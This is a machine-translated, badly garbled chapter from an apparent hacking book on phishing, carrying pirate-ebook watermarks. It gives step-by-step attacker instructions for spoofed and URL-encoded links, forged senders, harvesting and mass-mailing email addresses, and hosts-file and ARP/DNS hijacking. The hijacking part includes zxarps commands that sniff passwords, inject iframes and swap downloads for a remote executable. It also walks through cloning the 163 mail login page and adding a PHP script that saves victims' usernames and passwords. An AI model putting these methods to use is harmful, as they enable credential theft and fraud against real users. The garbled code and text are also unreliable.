It seems 2: in order to prevent malicious code modify the registry, but it is prohibited to use the registry editor. But if for special reasons need to modify the registry, how will you unlock the registry?

Answer: use notepad for quick editing of an arbitrary name. Reg file, such as jiesuo. Reg, its content is as follows:

REGEDIT4

; There must be an empty line, otherwise will modify failure

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \

System

free ebooks ==> www.ebook777.com

“DisableRegistryTools =” DWORD: 00000000

For the Windows xp system to change the “REGEDIT4” to “WindowsRegistryEditorVersion5.00”.

The first chapter phishing attacks of terror

Phishing (Phishing) is the English word “Fishing” and “Phone”, because the hackers ancestor originally is call commit crime, so use “Ph” replaced the “F”, created a “Phishing”, Phishing pronunciation is similar to Fishing. Phishing is a kind of social engineering attacks, per se, is not a phishing attack means, more like a fraud.

Attacker using fake emails and fake Web site for fraud, entice visitors to visit the fake page, and obtain some victim’s personal information, such as credit card Numbers, account and password, such as personal privacy, to obtain illegal interests. Fraudsters will often own disguised as a well-known bank, credit card companies and online retailers trusted brand. This is the typical way of phishing attacks, “fish erbium” here was fraudulent emails and fake Web site.

Attacker to expanding the scope of the attack, will use instant communication tools, IM batch emails these fraudulent information, even through the use of advanced hacker means (worm infection, etc.) attack. Phishing attack is a kind of social engineering attacks.

The main method has the following 7 kinds of phishing attacks.

1. Send an E-mail to lure false information users

Fishermen to victims in the form of spam sent a lot of fraudulent emails, these emails to win more, consultant and reconciliation to lure users fill in the financial account and password in the mail, or in a variety of pressing reason requires the recipient to log in a website to submit the user name, password, identification number, the information such as credit card Numbers, which in turn steal money.

Such as, fisherman’s claim to be a shopping site or a commercial website customer representative, tell the user, if you don’t log in the provided a fake website and provide

their identity information, the user in the shopping site account may be sealed off.

Of course, this kind of fishing methods are common in the early of phishing attacks, phishers often by ranged attacks now some protective weak database server to obtain the customer name, and through the phishing emails sent clear goals.

2. Use the browser vulnerabilities fishing technology implementation

Take advantage of loopholes and the browser's address bar cross-domain scripting vulnerabilities can realize perfect phishing attacks. Take advantage of loopholes, address bar fishing an attacker can forge any page under the real URL content; Use of cross-domain scripting vulnerabilities, fishing the attacker can cross domain name across pages change any content of the site.

When a user to access a URL, returned to the user is an attacker can control the content, if it's forged a fishing web content, ordinary users will be unable to distinguish authenticity.

Phishing attacks by using this method, the harm is the most serious for users, because this kind of attack using the client software vulnerabilities, completely from the server program and the limitation of the network environment, is the webmaster can't control. Users can only in the case of know loopholes, installing software patches in time, or the use of security software fix client software.

3. Using the URL encoding implementation fishing techniques

Browser URL, in addition to supporting ASCII characters also supports ASCII characters, outside support to encode all characters at the same time. URL encoding is to convert hexadecimal characters, and add "%" at the front prefix, such as "\" ASCII is 92.95 hexadecimal is 5 c, so the "\" URL encoding is "% 5 c". This URL encoding the browser and server to be able to support normal.

From the point of the principle analysis, the attacker is how to through the URL encoding phishing attacks?

Fishing attackers attack tactic is to confuse the URL, commonly used by using similar domain names and content to defraud the victims trust, here there is a similarity values, through the URL encoding can improve the similarity of the URL. For example, users often use the domain name www.baidu.com, tend to be too easy to click directly, but if see

the domain name “www.diaoyu.com”, may be hesitate.

free ebooks ==> www.ebook777.com

But if the user see the domain name “http://www.baidu.com%2e%64%69%61%6f%79%75%2e%63%6f%6d”, may also directly click. Because for the average user, this domain name is baidu’s domain name, just added some page address in the back, can be absolute trust.

In fact, this domain name is a URL encoding, restore back the domain name is “www.baidu.com.diaoyu.com”. Had nothing to do with baidu this domain name, on this domain name is an attacker forged a baidu page and related functions, and ordinary users is difficult to distinguish authenticity. The user enters to a phishing site, the possibility of being attacked also increased greatly.

4. Set up fake online banking, online securities website, diddle user account and password

Criminals will often create a domain name and web content and real online banking system, online securities trading platform similar sites, cheat users enter account and password and other personal information, and through real system of online banking, online securities or fake bank debit card, securities trading card to steal the user’s money.

5. Using the user weak password loopholes such as crack, guess user account and password

When some users to set a password, sometimes for the sake of convenience, often use their birthday or some simple digital combination as a password, so that the attacker can easily leaky weak passwords, to break the bank card password. In fact, criminals in the process of implementation of network fraud crime, often take send false E-mail, to set up the fake bank on the net, using a false means such as e-commerce and cooperate.

6. Use false e-commerce to cheat

Engaged in this kind of network fraud criminals, most used in well-known e-commerce sites, such as “ebay”, “taobao”, “alibaba” publishing false information, such as in the so-called “super low prices”, “duty free”, “contraband”, the name of “charity sale” to sell a wide variety of goods, under the temptation of many users in their low cheated.

Because of online trading is a long-distance trade more, often need the remittance. Criminals generally require consumers to pay some money, then with all sorts of reason to

entice consumers to pay the balance payment or a variety of other purposes, wait for money or their trick was found out, immediately cut off contact with consumers.

7. Using the Trojan and hacking to steal user information after the implementation of theft

Trojan makers through email or hidden trojans, including circulating in the website trojans, when infected with Trojan users online trading, trojans or get the user account and password in the form of keyboard record, and sent to the specified mailbox, a serious threat to users money will inevitably suffer.

The second chapter is website with fake websites

Fishermen often make use of people's psychological weakness, will be a little change to the real site fake website. When users click on the url, it will only to address a few key characters and the theme of the site in general comparison, access to the site feel no exception. This is just to the attacker to design good trap.

7.2.1 false domain name registration fraud

In order to achieve the purpose of the deception, the attacker can register a domain name. The advantage of the domain name to cheat is cheating, especially on financial website phishing attacks, forge the domain name is indispensable.

Registering false domain has the following three types:

1. Secondary parsing deception

Cheating by two-stage solution is aimed at have subdomain url. Here "baidu knows" sites, for example, the url in the address bar "http://zhidao.baidu.com", including "zhidao" for the secondary domain name. Users at the time of registration, can not directly registered "http://zhidao.baidu.com", but need to register "http://www.baidu.com" domain name, domain name provider to offer secondary DNS "zhidao.baidu.com".

Need to spend a lot of money but to register baidu.com domain name, a fisherman won't in order to achieve deception, spend a lot of money to register such a domain name. But they will register a similar domain name, such as "http://www.ba1du.com" (I) with Numbers 1 to replace the letters, and to provide secondary domain name provider blog

“http://zhidao.ba1du.com”. So when the Internet users to see the site, if not careful comparison, will treat it as baidu site “http://zhidao.baidu.com”, and click directly.

2. Top-level domain to cheat

Url in the address bar of the “http://zhidao.baidu.com” “baidu” as the primary domain name, to the use of top-level domain for cheating, but like the above, to register a similar domain name “http://www.ba1du.com”, so as to deceive users.

3. The domain name suffix deception

Domain name suffix cheat it is using url final domain name suffix to cheat. Can often surf the Internet users know, domain name suffix, such as com,.net,.cn, etc. The attacker can register a domain name suffix for co “http://www.baidu.co”, so, for some users, paralysis can easily fool their eyes.

7.2.2 url in the status bar

Although using fake domain name to cheat is a feasible method of phishing attacks, but if there are any careful users, when open the site to check page status bar is displayed as real url, if discovery is unusual, might not continue to click on the url. In this case, the fishermen have to cope with the same method, it is using the code makes the url in the status bar with web content at the same link.

The content of the code is as follows:

```
< p > < aid = “SPOOF” href = “http://www.hackbase.com/” > < / a > < / p >
```

The < div >

```
< a href = “http://www.hockbase.com” target = “_blank” >
```

The < table >

The < caption >

The < labelfor = “SPOOF” >

< ustyle = “cursor: pointer: color: red” >

<http://www.hockbase.com>

< / u >

< / label >

< caption >

< / table >

< / a >

< / div >

Code in the url “<http://www.hackbase.com/>” is going to open the web site, link to the site with “<http://www.hockbase.com>” instead.

When open the static web pages, and link, move the mouse to a web page in the status bar displays the links in the links with web content is the same, don’t see any problem. But when the user clicks on the link to open the site, will find open the website is “<http://www.hackbase.com/>”, not “<http://www.hockbase.com>”.

7.2.3 IP conversion with URL encoding

IP address translation is value between hexadecimal conversion. IP address in dotted decimal form most often, this IP is usually has 4 Numbers, and with “. “separated, each section number between 0 and 255. As is known to all, is the corresponding IP address and domain name, use domain can access the site, in the same way, using IP address can also visit the web site.

If the decimal IP address into octal and hexadecimal, again use IP address to access the site, the user will see a meaningless. Numbers, generally do not doubt.

To convert the IP address of the website domain name corresponding to octal or hexadecimal, can use a simple gadget - the ultimate URL. Here introduced in www.sina.com, for example, IP address translation methods.

Step 01 click “start” - > “run”, the “run” in the pop-up dialog box type “CMD”, can open the command prompt window. At the command prompt type “Pingwww.sina.com” command, obtain corresponding IP address for 59.175.132.61 website www.sina.com.

“The ultimate step 02 downloaded from the Internet URL tool” package and extract the open the tool, enter www.sina.com in the “IP switching” column corresponding IP address, and select the “dotted octal” radio item, click the “encryption” button, in the “encrypted IP” column to display the IP address of the converted octal.

Step 3 copy the IP address of the converted, and use IE browser to open the address, can see open the web site is still sina site. Also can choose in the column “IP switching”, the “dotted hex” radio, converts IP addresses to hexadecimal.

In addition, use the “ultimate URL tool” can also transform domain name for the URL encoding. URL encoding is characters of ASCII hex status, and add “%” sign in front of the characters. For example, three hexadecimal ASCII is 33, URL encoded as a result of the % 33.

If a website domain name is to be converted into a URL encoding, can be in the “ultimate tool” URL “URL encryption” column of “to be encrypted URL text box input” website domain name.

Such as the base web “www.hackbase.com”, click “encryption” button, can be in the “URL” encrypted text box shows the corresponding URL encoding: http://%77%77%77%2E%68%61%63%6B%62%61%73%65%2E%63%6F%6D/. To copy the URL encoding and use IE browser to open the encrypted URL, can see can normal open black base web site.

The third chapter E-mail Mail fishing techniques

Early E-mail mail fishing technology is very simple, is to use deceptive e-mails and fake

Web site for fraud, patsy to reveal their important data, such as credit card Numbers, user name and password. But along with the increase in fishing event, a growing number of Internet users to enhance the psychological and also taken some preventive measures, make E-mail phishing attack is more and more difficult. Under this pressure, the attacker fishing technology, put forward more advanced mail to “cheat” to the limit.

7.3.1 variety of phishing emails

Phishing as a means of fraud, which is not too much technical content, the attacker simply using fraudulent emails and fake Web site for online fraud, patsy tend not to reveal their private information, such as credit card Numbers, bank account, identity card number, etc. And phishing average survival time is 15 days, in such a short period of time to attack up to one million times, the key is to cast the bait. Factors that affect its survival lies in the technical implementation of concealment, pertinence and operability, the smaller the influence factors, the longer the viability will be.

In general, successful fishermen won't be blind, arbitrarily looking for targets, but a planned and systematic classifying different user groups. They often to attack users can be divided into two types, one is according to type, type is a kind of broad spectrum. In view of the type of phishing attacks are common, mainly in order to obtain useful data and special attack groups have certain characteristics of a small scale. Appears, for example, apple's new iPhone phishing emails, often will target to interested in iPhone fashionable gens, bank/financial institution clients, etc.

Broad spectrum of phishing attacks that do not have a specific goal, for ordinary users will be wide net. It with the traditional direct blind email very similar, but different substantive content.

Type for fishermen in order to realize a higher clickthrough rate of phishing emails sent tend to adopt the following method to make email more real.

Low in view of the type of phishing emails in email format will be deceived to enterprise commonly used E-mail format, as a standard mail format.

Mail to express the meaning of the text is very clearly, such as user registration verification, account update or system upgrades, etc., will not use some vague content, users.

Low use Photoshop, Dreamweaver and other professional tools for mail is used in image

processing, and generate the HTML code to insert send email content.

free ebooks ==> www.ebook777.com

Forge cheated enterprise information and certification marks, make phishing emails more realistic.

Phishing emails and broad spectrum type is not necessary to like type against phishing emails to produce a standard phishing emails, because this kind of mail can batch sent to all users within the network, as long as the email content can cause the curiosity of the user or attention, make them click the email link. Therefore, this kind of phishing emails need to fishermen in the email title and content spend more time.

7.3.2 forge the sender's address

Mail fraud is the most commonly used means of network fraud. Hackers by fake address and sender email, send false winning information or activity, diddle the recipient's trust and financial fraud of the recipient.

For example, if you receive an email from closed friends, find your email address is, indeed, a friend, said in the message she has urgent need to borrow some money, and to the website of the online banking. Many people see this could be because the friendship to help her, but perhaps this time the user has to be taken in by people with ulterior motives. So, these people are how to forge the sender's address?

The essence of the fake email SMTP server is established, using a proxy and fake hair mail to send mail fraud. This is what we call social engineering.

SMTP mail transmission will be divided into three stages: the connection is established, data transfer and connection is closed, one of the most important is the data transmission. Email when the transfer is done by five command:

When Helo: representation and E-mail server processing process began to "talk".

Low mailfrom: indicate the source address of the information, which is to forge the address.

Low rcptto: the address of the recipient.

The specific content of low data: E-mail.

When the quit: out of email.

This article five commands are embedded in the program automatically, is transparent to users, such as OUTLOOK, foxmail program. Here is a small tool “it mail express delivery”, its built-in SMTP server, allowing users to fake email address send mail fraud.

Here fake email address “admin@abc.cn” an email to lbwkzceo@163.com, theme is “a happy Mid-Autumn festival”, the sender’s name is linlin, the content of the email is “I wish friends happy Mid-Autumn festival!” . Open the mail express mail it “tools and set in it.

Click the “send” button, after the success of the send, can open 163 mail, can be seen in the inbox fake email address admin@abc.cn to E-mail, open the mail, can see the effect of fake email.

The sender’s address is haphazard, and the recipient address is real. Under normal circumstances, is unable to complete the mail, because of the existence of without the sender’s address. But by this kind of special email software can complete the mail to send, and the recipient will receive an email with the false name sent immediately. This method is the most common method of spam, also is a kind of fake email accounts is bad behavior.

7.3.3 instant to collect millions of E - mail address

Phishing email address of the collection is divided into two kinds: for collection and broad spectrum collection. For collecting is one type of pointer to discuss a topic BBS and community sites collected E-mail address; Broad spectrum collection refers to any, randomly collected a wide range of email address.

1. In view of the type collection

Type in the collection, the “SupermailExtractor” tool can be used for the automatic collection, without artificial operation, can rapidly to a site to site to collect E-mail addresses. Below site, <http://www.sina.com.cn/>, for example tells sina site for site E-mail address collection method.

“SupermailExtractor” step 01 downloaded from the Internet tool package and unzip, into the tool’s main window.

free ebooks ==> www.ebook777.com

Step 02 “SearchenginedirectoriesURL” in the main window text box input sina website at <http://www.sina.com.cn/>, click on “Start” button on the toolbar to search, wait a moment, after can be in the list box below to see the search results.

After step 3 in the search, click 【 ExportSearchResults 】 button on the toolbar, in the pop-up dialog box ExportSearchResult 【 click “open” button on the right side of the text box.

Step 4 at this point, can pop up “save as” dialog box. In the text box input file name “file name” collect ”” Email address, click the” save “button, you can save on the search results.

Use search to the Email address of the site, phishing attacks can be achieved. If the BBS, you can direct invasion of BBS, Access to the MySQL database account and download the Access database, compiled from the user registration information Email list.

2. The type spectrum collection

For broad spectrum collection, the “search” Google email tools can be used for a wide range of collect email addresses. Google email search tool in the world in both Chinese and English web page, enter the characters associated with the email address can be retrieved a lot of email address. Software through a one-time import thousands of search keywords list, can automatically search and extract email address.

Here is using the “search” Google email tools for email address collection method.

Step 01 “Google email search on” tool, to enter the main window.

Step 02 click “import” button on the toolbar, on the keyword list file 【 import dialog box to choose the file to import, here to “Google email search tool in the” search keyword examples. TXT “file, for example.

Step 3 click “open” button, return to the “search” Google email tool’s main window, click the “search” button on the toolbar, you can pop-up dialog search parameters setting 【

【 .

Step 4 click [sure] button, you can start according to the key to search, in the main window will appear on the right link. Click on the “click view on google.com.hk search results” link, and a minute later, can be in the main window on the left side of the list box according to the “search keyword examples. TXT” keyword in showing the search results.

Sections 7.3.4 fishing E-mail group

Through the method of section 7.3.3 after collected a large number of email addresses, fishing fishing attacker and then will mail sent to the mailbox. So many emails can't be sent by hand one by one, so can use a population mailing tool.

Group mailing tools on the network is very much, here to “E-mail group tool everyday 2011 trial version” as an example, introduces the method of mass emails. Every E-mail group tool is the present domestic most advanced WEB E-mail group engine, can accurately delivered to 163, 126, sina, sohu, 21 cn, QQ and other domestic famous large email, mail delivery arrival rate of 99% above, send email will not into the dustbin. And send the tool using the latest WEB technology, do not use SMTP mass technology have failed, because the present domestic each big new registered mail post office has no longer support SMTP to send, so send SMTP have failed for a long time.

Here use “E-mail group tool everyday 2011 trial version” mass email method.

Steps to download and run 01 “E-mail group everyday tools 2011 trial version”, enter the main window. The default display in the main window is the information in the “sender email Settings” TAB, in the main window on the right side of the “account” and “password” in the text box input mail email account and password. Click the “add” button to add it to the list box on the left side.

Step 02 in the main window lantau island to choose “receiving email Settings” TAB, in the middle area of the “account” in the text box input the recipient email address, click the “add” button, you can add it to the list on the left side of the box.

Step 3 if the recipient mailbox number very much, also can click the “import account” button in the middle area, on the “open” dialog, select save E-mail account file with notepad. Click “open” button, then the pop-up dialog box, warm prompt 【 prompt account after import. At this point, click on the [sure] button, the notebook can be imported into the account of the main window on the left side of the list box.

Step 4 in the main window, click on the "letters" TAB, "title" in the title of the text box input email, and enter in the text edit box below the body of the email.

Step 05 "E-mail group tool everyday 2011 trial version" also supports HTML mail, in the text edit box click on the [HTML] button below, you can switch to HTML editor state.

Step 6 above the main window to choose "mass" TAB, click the button and start sending] 【 can begin mass email. After being all mail sent successfully, the list box below will show sends information of success.

Step 7, at the same time, 79902662 @qq.com email tip received an E-mail entitled "test", the sender email to lbwkzceo@163.com. Click the links in the mail, can open the mailbox 79902662 @qq.com, in which can receive mail, to see it is because there are many online tools such as "E-mail group everyday tools", can be easily send phishing emails, just lead to more and more rampant spam.

7.3.5 email front and teaser headlines

Fishermen in order to increase the rate of view, pulled out all the stops, such as through some skills to make fishing email at the top of the user's inbox, or use the title of seduction, users fall for it, and so on.

1. Make the top of the phishing emails in your inbox

When users receive mail, email will be received according to arrange time to receive email, different mail order of rules is different. So, how do you make fishing email at the top of the user's inbox?

In order to vividly illustrate, here are an example of how to make the phishing emails at the top of the user's inbox. Suppose a user send three emails to the email lbwkzceo@163.com, send mail for the first time, will change the system time on October 1, 2002; For the second time send mail, will change the system time on January 1, 2008; Third time send mail, will change the system time on March 7, 2005. According to the normal mail receiving way, the mail order should be followed by 2002, 2008, 2005, but 163 mailbox mail sorting is sorted by the size of the time.

Therefore, received the email in order for the 2002, 2005, 2008. In this way, the 2008 email ranked first inbox. But this method may not apply to all E-mail, users are interested in it can test the other email.

2. Use the teaser headlines

A malicious attacker by sending a large number of spam, in the title of the spam words are written on with a teaser or deceptive, in the main body of the email will often have a lot of teaser images and add malicious address connection.

When users browse spam and trusting the content, after click on malicious pictures or links, will jump to a malicious attacker prior deployment good websites or web pages, and these websites or web pages are often and online trading, online shopping, online consumer website. In this way, the user without a very good online security awareness, will be in accordance with these false websites or web pages, thus resulting in loss of personal economic property.

In order to make the email more attractive, can pay more attention to some press releases in our daily life, those journalists in order to make its own press release to attract people's attention, often add some teaser title on the press release. These teaser match the content may not be in the title of the solid body, but it can increase the click rate.

The fourth chapter hijacked fishing art website

Website hijacked fishing technology is phishing attacks the application of advanced technology, such as DNS hijacking, once the efforts to control the target domain name analytical record, you can modify this domain analytic results, the domain of the original IP address to the IP address of the attacker to specify. In this way, no matter whether to enter the correct domain name, will fall into the fisherman set the trap. To protect yourself from being hijacked, need to know first hijack process of phishing attacks.

7.4.1 hijacked to the Hosts file mapping

Now many websites without user agreed to install all kinds of plug-in to the user's computer, these plug-ins there may be some is a Trojan or virus. These trojans or viruses to the computer after the installation, in order to fight against security protection software, use the Hosts file to hijack users, access security site is prohibited.

Once seized an antivirus website, for example, user access will be strange site and viruses, etc. For these sites, ~~free ebooks => www.ebook777.com~~ can make use of the Host of the site's domain name is mapped to the wrong IP or local computer IP, this wouldn't have access to. In the Windows system, 127.0.0.1 for the IP address of the local computer.

The first to know about the details of the Hosts file.

Hosts file is a node information in the file used to store the computer network, it can map the host name to the IP address of the corresponding, realize the function of the DNS, it can be controlled by a computer user.

Hosts file storage location is not the same in different operating systems, and even different versions of Windows position is also different. In general, the Windows xp / 2003 / Vista/Windows 7 system Hosts file in the default location is C: Windows \ system32 \ drivers \ etc directory, but it also can be changed. If fishermen want to hijack, need to modify the contents of this file with notepad. The Hostname (Hostname) mapping relationship, it is a mapping of IP address and Hostname (host name).

This provision, asking each to include only a mapping relationship, that is an IP address and a mapping relation with the host name. IP address should be put in the front of the each paragraph, mapping the Hostname (Hostname) behind the IP, separated by a space in the middle.

Fisherman's trick is to modify the host and the IP address mapping relationship, to the HOSTS file mapping hijacked. Through a simple example to introduce below HOSTS hijack process. On the map the web site www.hackbase.com to baidu's IP, so that when opened the web site www.hackbase.com, is actually opened the baidu website. Specific steps are as follows:

01 step use the PING command in the command prompt window to get the IP address of the baidu, in which the input command "Pingwww.baidu.com", you can get the IP address of the baidu 119.75.218.45.

Step 02 open the folder "C: Windows \ system32 \ drivers \ etc", find the Hosts file.

Step 03 right-click on the Hosts file, the Hosts properties dialog box **】** uncheck the Hosts file read-only property.

Step 4 click [sure] button, open the Hosts file with notepad, add a record at the end of the content of “119.75.218.45www.hackbase.com”.

Step 05 save modified Hosts file, then open the web site “http://www.hackbase.com”, can be found in the open is baidu website.

“Tip”

That saved is very difficult to modify the HOSTS file is invalid, it must be noted: in use notepad to open the HOSTS file, in the last line after adding the record, must press the return key, otherwise the one row is not effective. Suggest you follow this habit: IP address + space + domain name + Enter.

7.4.2 DNS hijacking in Intranet

DNS is composed of the parser and domain name server. Domain name server refers to hold all hosts in the network domain name and the corresponding IP address, and has the function of transform domain for the IP address of the server. The domain name must correspond to an IP address, does not necessarily have a domain name and IP address.

Between domain name and IP address on the Internet is one to one (or more to a), the domain name while helping people to memory, but the machine can only know each other between the IP address, they conversion between work called DNS domain name resolution needs to be done by special DNS server, DNS is to DNS server. The DNS name used in the TCP/IP network such as Internet, computers and services via the user friendly name.

When the user to enter a DNS name in the application, DNS service you can use this name resolution is associated with other information, such as IP addresses. Because, you input the url when using the Internet, through the DNS system found the IP address of the corresponding resolution, so as to get to the Internet. In fact, the domain name is eventually point IP.

DNS cheat hijacked tools are many, here with zxarps. Exe to demonstrate the Intranet hijacked, either in the Intranet users open the web site, www.hackbase.com will be hijacked to the unit. First under the CMD command line run the command “zxarps. Exe”, to show the various parameters of the command and its meaning is as follows:

The Options (parameters) :

free ebooks ==> www.ebook777.com

- independence idx [index] card index number
- IP (IP) cheating IP, with a '-' specified range, separated by ','
- sethost (IP) is the default gateway, you can specify other IP
- port (port) focused on the port, with a '-' specified range, separated by ',' and didn't specify a default pay close attention to all ports
- reset to restore the ARP table for the target
- the hostname to detect when the host for the host name information
- logfilter [string] set the condition of saving data, must do the prefix + - _, followed by the keyword,

Separated by ',' 'keywords, separated by' | 'multiple conditions

All of the keywords with + prefix package is written to the file

Belt - prefix keywords appear bag is not written to the file

Take _ prefix a keyword is in line with the write file (if any) + - conditions is also to meet the

- save_a [filename] will capture the data written to the file ACSII mode
- save_h [filename] HEX mode
- hacksite (IP) to insert the code specified site domain name or IP,

Multiple available ‘, ‘off, didn’t specify the affect all sites

- insert htmlcode assigned to insert the HTML code
- postfix [string] suffix that focuses only on HTTP / 1.1302
- hackURL [url] found on suffix after modify the url to the new url
- filename [name] efficient resource file name on the new URL
- hackdns [string] DNS deceit, only change the UDP packet, multiple available ‘, ‘

Format: domain name | IP, www.aa.com | 222.22.2.2, www.bb.com | 1.1.1.1

- the Interval [ms] time cheat time Interval, unit: ms: default is 3000 ms
- spoofmode | 2 | 3 [1] the data to cheat to the machine, cheat objects: 1 for the gateway, 2 for the target machine, 3 for both (default)
- speed KB] limit specified IP or IP network total bandwidth, unit: KB

Example (parameters) :

Sniffing the specified IP port in 80 data, and write files in HEX mode

Zxarps. Exe - idx0 - ip192.168.0.2-192.168.0.50 - port80 - save_hsniff. Log

FTP sniffing, appear in 21 or port 2121 USER or PASS packets records to a file

Zxarps. Exe - idx0 - ip192.168.0.2 - port21, 2121 - spoofmode2 - logfilter “_USER, _PASS” - save_asniff. Log

HTTPweb mailbox landing or some BBS sniffing, depending on the situation to change

the keywords

free ebooks ==> www.ebook777.com

Zxarps. Exe - idx0 - ip192.168.0.2-192.168.0.50 port80 - logfilter "+ POST, + user, + pass" - save_asniff. Log

With | add sniffer conditions so that the FTP and HTTP can sniff together some of the sensitive keywords

Zxarps. Exe - idx0 - ip192.168.0.2 - port80, 21 - logfilter "+ POST, + user, + pass | _USER, _PASS" - save_asniff. Log

If the sniffer to the target download exe file suffix is such as to change the Location: <http://xx.net/test.exe>

Zxarps. Exe - idx0 - ip192.168.0.2-192.168.0.12, 192.168.0.20-192.168.0.30 - spoofmode3 - postfix ". Exe,. Rar,. Zip "- hackurl<http://xx.net/-filename/test.exe>

Specify the IP section of the url in the user access to - hacksite is display only justforfun

zxarps.exe-idx0-ip192.168.0.2-192.168.0.99-port80-hacksite222.2.2.2,www.a.com,www.b.com-insert"justforfun<noframes>"

The specified IP segment of users access to all sites are inserted a framework code

Zxarps. Exe - idx0 - ip192.168.0.2-192.168.0.99 port80 - insert "< iframesrc = 'xx' width = 0 height = 0 >"

Specify the two IP total bandwidth limited to 20 KB

Zxarps. Exe - idx0 - ip192.168.0.55 192.168.0.66 - speed20

DNS cheat

Zxarps. Exe - idx0 - ip192.168.0.55 192.168.0.66 - hackdns

“Www.aa.com | 222.22.2.2, www.bb.com | 1.1.1.1”

Again with the machine in the network IP address 192.168.0.10, for example, runs a DNS hijacking command under the CMD command line:

Zxarps. Exe - idx0 - ip192.168.0.1-192.168.0.255-hackdnswww.hackbase.com | 192.168.0.10

In after the success of the command, the command line will display the results.

You need to set up a WEB server of the unit, so that the internal network of DNS hijacking.

The fifth chapter other phishing art

In addition to several kinds of phishing techniques described above, there are some fishing technology allows users to more quickly understand phishing attacks.

Such as using the “web site to download” tool to download site documents related to the local, and then download the files uploaded to the FTP space, and then to modify the content of the page a little bit, can forge out a identical with the real web site of phishing sites.

7.5.1 163 email site ripped off

The attacker in order to ensure the quality of the fish more, more, its set fishing object is a high traffic site and financial transactions. This section will introduce in 163 mailbox, for example, an attacker how to forge the entire website, and let the man can't see any flaw.

In order to make the fake website to reach the level of realistic, need to be real material download site, and will they transform processing. Tend to directly use IE browser to download the web portal file to the local, but it is often wrong, so here will introduce a tool: web site to download.

All web site downloader can analyze a web page link (image link, scripts and stylesheets, etc.), including source code and all pages, and internal links to website file download, classification, meaning that it is a software to be able to download the entire site down.

Here is using the web site to download “download site files.

Steps to download and install 01 “web site to download TeleportPro - v1.61”, to enter the main window. Click on the main window toolbar NewProjectwizard (new plan project wizard) button, in the pop-up NewProjectwizard (new project wizard) dialog box to set the new project.

“Tip”

If it is the first run TeleportPro software, the program will automatically appear NewProjectwizard (new plan project wizard) dialog, the options in the wizard dialog box is actually TeleportPro main function.

Step 02 keep default Settings in the dialog box, click the “next” button, you can pop up [StartingAddress] (the starting address) dialog box. In the address bar to input to download website file address, otherwise unable to enter the next step will be warning, here to download the “http://mail.163.com” website.

Step 3, click “next” button in the pop-up ProjectConfiguration (project Settings) dialog box may choose to receive specific file types, including text, graphics and sound, etc., can be selected according to the requirement, select “Everything” (any file type) radio button. For must hold Account and Password to enter the website, must be in the “Account” and “Password” below the text box input the correct Account and Password, TeleportPro won’t be able to enter the site to download files.

Step 4, click “next” button in the pop-up (Congratulations Congratulations) dialog click “finish” button, can complete the creation of a new project wizard.

Step 5 at this point, the program will pop up “SaveAs” (save as) dialog box, type in the “file name” text box suffix for. The TPP project name, click the “save” button, can return TeleportPro main window.

Step 6 in TeleportPro main window click on the toolbar [Star] (Start) button, or select “Project” - > “Start” menu item, Start file download operation.

Step 7 a moment later, when the “http://mail.163.com” web site files after the download is complete, you can upload download website file to the FTP space.

After the contrast, again can find false 163 box of uploaded to the site and the real 163 mailbox website as like as two peas, but are not the same address in the address bar.

Effective 7.5.2 continue to improve, to forge

After 163 mail web site download down, need to be slightly alters the contents of the web page, in order to avoid the user to open the phishing websites appear flaw.

1. Modify the code in the external links

Due to the use of web site downloader to download sites, for external links all of it replaced by a script code: javascript: the if (confirm)... . This script code the user needs to be removed and replaced with the original link address. If no pictures show, you can manually download links to local again after modification.

2. Modify the index. The code in the HTML file

Use notepad to open the download 163 mailbox homepage file index. The HTML, then this test script to delete:

```
varati=user.value.indexOf("@");

if(atl!=-1){

user.value=user.value.substring(0,atl);

}

varsecure=fm.remUser.checked?true:false;
```

varurl=fm.secure.checked?“https://reg.163.com/logins.jsp”:“http://reg.163.com/login.jsp”;

free ebooks ==> www.ebook777.com

url+=”?type=1&url=http://entry.mail.163.com/coremail/fcg/ntesdoor2?”;

url+=“lightweight%3D1%26verifycookie%3D1%26”;

if(secure){

user.autocomplete=“on”;

}else{

user.autocomplete=“off”;

}

fGetVersion(fm);

fm.action=url+“language%3D-1%26style%3D”+fm.style.value;

visitordata.setVals([fm.username.value,fm.style.value,fm.secure.checked?1:0],true);

visitordata.store();

Then the index. The code in the HTML: < formmethod = “post” name = “login163” action = ”” onsubmit =” returnfLoginFormSubmit ();” Target = “_top” style = “position: relative” >

Replace the following code: < formmethod = “post” action = “checklogin. PHP”

The meaning of this code is based on the post way to submit data to checklogin. The PHP.

3. Create a PHP script checklogin. PHP

Because of the space only hijacked PHP, users in the modification of the code, you can use the ASP, JSP, and PHP scripting language implementation, here as a PHP script to implementation. Script file checklogin. PHP requires the user to create their own. Open notepad, in a new file, enter the following PHP script, and save it for checklogin. PHP.

```
<? PHP
```

```
/* write */
```

```
If (login [email])
```

```
{
```

```
= fopen (" db. TXT ", "a");
```

```
Fwrite (, [username] "|". [password]. "\ r \ n"); // write data, separated by | in the middle
```

```
The fclose ();
```

```
}
```

```
Read /*, */ item can pass | resolution
```

```
=file("db.txt");
```

```
print_r("<pre>");
```

```
print_r();
```

```
/* delete */
```

```
? >
```


Script file checklogin. PHP function is to achieve a user input user name and password information, and then write to the db. TXT text file. After the code changes, upload files to hijack PHP space, and open the web space, enter the user name and password in the login information, you can see the web pages returned to a blank page, but actually the user to enter the login information has been saved.

After enter login information, return a blank page will make some users, in order to make more real fake web site, you can open checklogin. PHP file, in the last line of the file content “? > “before inserting a row is redirected to the site code: 163 header (“Location:http://mail.163.com”); .

The function of this code is telling the browser how to handle this page, in this way, when users to access and submit the form, you can jump to the real 163 mailbox. [TXT novel download: www.wrshu.com]

7.5.3 strong fishing phishing sites

Phishing attacks the real goal is to steal the user’s information, from the point of view of the attacker, efficient access to information is the path to the king, the “tao” in the “strong”. When an attack is not strong, will not get the desired effect, therefore, phishing attacks must emphasize a strong.

First to get to know the early pop-up window is implemented. Attacker will first give the user a link address, assuming that the attacker will this “pop-up window demonstration” web link placed in an email, which lead to the pop-up window page for pop. HTML, and its function to load the fishing site and pop-up login window, the code is as follows:

The < head >

< HTML >

< title > pop-up window demo < / title >

The < / head >

< METAHTTP - EQUIV = “Refresh” CONTENT = 0; URL =

“http://www.hackbase.com/” >

< SCRIPTlanguage = JavaScript >

If (window! = top)

{

Top. Location = window. The location;

}

< / SCRIPT >

The < BODYonload = “window. The open (‘ login. HTML ‘, ‘popup’, ‘top = 150, left = 150, width = 250, height = 200, the toolbar = no, scrollbars = no, the resizable = yes’)” >

The < / body >

The < / HTML >

